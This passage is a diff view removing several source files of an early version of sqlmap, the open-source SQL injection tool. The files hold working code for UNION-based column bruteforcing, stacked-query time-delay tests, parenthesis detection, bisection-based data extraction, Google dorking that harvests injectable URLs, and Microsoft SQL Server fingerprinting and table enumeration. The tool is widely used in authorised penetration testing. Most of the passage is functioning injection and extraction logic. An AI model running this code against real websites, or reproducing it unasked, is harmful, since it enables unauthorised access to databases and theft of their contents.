value += "\nUser-Agent:\t'%s'\n" % payload
return value
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
columns = None
value = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")]
if count:
query += ", NULL"
if kb.dbms == "Oracle":
query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count + 1
value = __forgeUserFriendlyValue(payload)
break
return value, columns
def __unionTestByOrderBy(comment):
columns = None
value = None
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
elif columns:
value = __forgeUserFriendlyValue(prevPayload)
break
prevPayload = payload
return value, columns
def unionTest():
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg)
value = ""
columns = None
for comment in (queries[kb.dbms].comment, ""):
if conf.uTech == "orderby":
value, columns = __unionTestByOrderBy(comment)
else:
value, columns = __unionTestByNULLBruteforce(comment)
if columns:
setUnion(comment, columns)
break
if kb.unionCount:
logMsg = "the target url could be affected by an "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
else:
warnMsg = "the target url is not affected by an "
warnMsg += "inband sql injection vulnerability"
logger.warn(warnMsg)
return value
-327
View File
@@ -1,327 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Microsoft SQL Server":
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
if kb.dbms == "Microsoft SQL Server":
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
if orderBy:
field = orderBy.group(1)
else:
field = expressionFieldsList[0]
elif kb.dbms == "Oracle":
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-60
View File
@@ -1,60 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
def stackedTest():
infoMsg = "testing stacked queries support on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = queries[kb.dbms].timedelay % SECONDS
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the web application supports stacked queries "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.stackedTest = payload
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.stackedTest = False
return kb.stackedTest
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import re
import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
class Google:
"""
This class defines methods used to perform Google dorking (command
line option '-g <google dork>'
"""
def __init__(self, proxyHandler):
self.__googleCookie = None
self.__matches = []
self.__cj = cookielib.LWPCookieJar()
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
self.opener.addheaders = conf.httpHeaders
def __parsePage(self, page):
"""
Parse Google dork search results page to get the list of
HTTP addresses
"""
matches = []
regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
matches = re.findall(regExpr, page, re.I | re.M)
return matches
def getTargetUrls(self):
"""
This method returns the list of hosts with parameters out of
your Google dork search results
"""
for match in self.__matches:
if re.search("(.*?)\?(.+)", match, re.I):
kb.targetUrls.add(( match, None, None, None ))
def getCookie(self):
"""
This method is the first to be called when initializing a
Google dorking object through this library. It is used to
retrieve the Google session cookie needed to perform the
further search
"""
try:
conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info()
except urllib2.HTTPError, e:
headers = e.info()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
def search(self, googleDork):
"""
This method performs the effective search on Google providing
the google dork and the Google session cookie
"""
if not googleDork:
return None
url = "http://www.google.com/search?"
url += "q=%s&" % urlencode(googleDork)
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
try:
conn = self.opener.open(url)
page = conn.read()
except urllib2.HTTPError, e:
page = e.read()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
self.__matches = self.__parsePage(page)
return self.__matches
-85
View File
@@ -1,85 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
from lib.core.session import setParenthesis
from lib.request.connect import Connect as Request
def checkForParenthesis():
"""
This method checks if the SQL injection affected parameter
is within the parenthesis.
"""
logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg)
count = 0
if kb.parenthesis != None:
return
if conf.prefix or conf.postfix:
kb.parenthesis = 0
return
for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis)
randInt = randomInt()
randStr = randomStr()
if kb.injType == "numeric":
query += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
query += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
query += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
query += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
query += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == True:
count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count
logger.info(logMsg)
setParenthesis(count)
-182
View File
@@ -1,182 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.techniques.blind.inference import bisection
def queryOutputLength(expression, payload):
"""
Returns the query output length.
"""
lengthQuery = queries[kb.dbms].length
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
miscExpr = re.search("\A(.+)", expression, re.I)
if selectTopExpr or selectDistinctExpr or selectExpr:
if selectTopExpr:
regExpr = selectTopExpr.groups()[0]
elif selectDistinctExpr:
regExpr = selectDistinctExpr.groups()[0]
elif selectExpr:
regExpr = selectExpr.groups()[0]
elif miscExpr:
regExpr = miscExpr.groups()[0]
if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
return None, None, None
if select:
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
else:
lengthExpr = lengthQuery % expression
infoMsg = "retrieving the length of query output"
logger.info(infoMsg)
output = resume(lengthExpr, payload)
if output:
return 0, output, regExpr
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
lengthExprUnescaped = unescaper.unescape(lengthExpr)
count, length = bisection(payload, lengthExprUnescaped)
if length == " ":
length = 0
return count, length, regExpr
def resume(expression, payload):
"""
This function can be called to resume part or entire output of a
SQL injection query output.
"""
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if not condition:
return None
resumedValue = kb.resumedQueries[conf.url][expression]
if not resumedValue:
return None
if resumedValue[-1] == "]":
resumedValue = resumedValue[:-1]
infoMsg = "read from file '%s': " % conf.sessionFile
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
if logValue:
logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
else:
logValue = resumedValue
if "\n" in logValue:
infoMsg += "%s..." % logValue.split("\n")[0]
else:
infoMsg += logValue
logger.info(infoMsg)
return resumedValue
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:
return None
expressionUnescaped = unescaper.unescape(expression)
substringQuery = queries[kb.dbms].substring
select = re.search("\ASELECT ", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload)
if not length:
return None
if len(resumedValue) == int(length):
infoMsg = "read from file '%s': " % conf.sessionFile
infoMsg += "%s" % resumedValue.split("\n")[0]
logger.info(infoMsg)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
return resumedValue
elif len(resumedValue) < int(length):
infoMsg = "resumed from file '%s': " % conf.sessionFile
infoMsg += "%s..." % resumedValue.split("\n")[0]
logger.info(infoMsg)
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
if select:
newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
else:
newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
missingCharsLength = int(length) - len(resumedValue)
infoMsg = "retrieving pending %d query " % missingCharsLength
infoMsg += "output characters"
logger.info(infoMsg)
_, finalValue = bisection(payload, newExpr, length=missingCharsLength)
if len(finalValue) != ( int(length) - len(resumedValue) ):
warnMsg = "the total length of the query is not "
warnMsg += "right, sqlmap is going to retrieve the "
warnMsg += "query value from the beginning now"
logger.warn(warnMsg)
return None
return "%s%s" % (resumedValue, finalValue)
return None
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-295
View File
@@ -1,295 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines Microsoft SQL Server methods
"""
def __init__(self):
self.excludeDbsList = MSSQL_SYSTEM_DBS
Enumeration.__init__(self, "Microsoft SQL Server")
unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
oldUpper = oldUpper.split("+")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getPrematureBanner("@@VERSION")
if not conf.extensiveFp:
return True
logMsg = "testing Microsoft SQL Server"
logger.info(logMsg)
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming Microsoft SQL Server"
logger.info(logMsg)
for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
result = Request.queryPage(payload)
if result == True:
if version == 8:
kb.dbmsVersion = ["2008"]
elif version == 5:
kb.dbmsVersion = ["2005"]
elif version == 0:
kb.dbmsVersion = ["2000"]
break
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
self.getPrematureBanner("@@VERSION")
return True
else:
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
logger.warn(warnMsg)
return False
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}
def getTables(self):
logMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(self.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if conf.unionUse:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
continue
query = rootQuery["inband"]["query"] % db
value = inject.getValue(query, blind=False)
if value:
self.cachedTables[db] = value
if not self.cachedTables:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery["blind"]["query"] % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
self.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables
-526
View File
@@ -1,526 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
